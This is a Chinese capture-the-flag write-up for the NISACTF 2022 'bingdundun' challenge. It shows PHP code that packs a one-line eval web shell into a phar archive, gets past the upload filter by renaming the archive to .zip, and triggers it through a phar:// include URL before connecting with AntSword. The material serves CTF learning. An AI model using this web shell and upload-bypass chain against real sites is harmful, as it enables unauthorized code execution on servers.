[NISACTF 2022]bingdundun
由于这题考查的是这题考察的是phar协议
所以先介绍一下
phar:// — PHP 归档
phar://、zip://、bzip2://、zlib://
用于读取压缩文件,zip:// 、 bzip2:// 、 zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等。
用法示例
phar:/http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
第一步我们需要构造phar包,下面是代码直接套:
<?php
$payload = '<?php eval($_POST["shell"]); ?>' ;//一句话木马
$phar = new Phar("example.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("phar.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>
这里大部分人可能会报错,这个错误信息表示在运行phar.php文件时,创建归档文件“exp.phar”的功能被禁用了。这是由于php.in
i文件中的phar.readonly
设置被设置为“On”,阻止了phar扩展的使用。
要解决这个问题,你需要编辑php.ini
文件,将“phar.readonly”
设置更改为“Off
”
由于我一直报错,不能生成文件,改了也没有用,所以找到了第二种解决办法,在php文件的目录下打开cmd,然后命令行输入
php -d phar.readonly=0 phar.php //phar是文件名
然后就生成了example.phar文件
可以看到example.phar压缩文件中有phar.php文件,里面有一个php代码,内容是一句话木马
接下来我们要进行MIME类型绕过,由于冰墩墩只喜欢【图片或压缩包】所以我们需要把文件的后缀名改成.zip
或者.jpg
这里选择是改成zip
接下来上传,并且上传成功
接下来就要利用phar协议进行读取和执行我们的一句话木马,这里回到一开始上传界面,会发现有个bingdundun
变量,我们就理由这个变量去访问我们的文件,构造payload:
http://node1.anna.nssctf.cn:28150/?bingdundun=phar://95bfe2c92af0e6995395e372d3e126da.zip/phar&shell=phpinfo();
(但是不知道为什么我的phpinfo信息不能显示,于是重新上传了一个,变量名改了一下,改成了8,就可以了)
OK执行成功
这里可以选择蚁剑连接,也可以选择命令执行,我选择前者
这里注意一下,在连接的时候编码器不要选择default
会连不上
连接成功,在根目录中的flag文件找到了flag,结束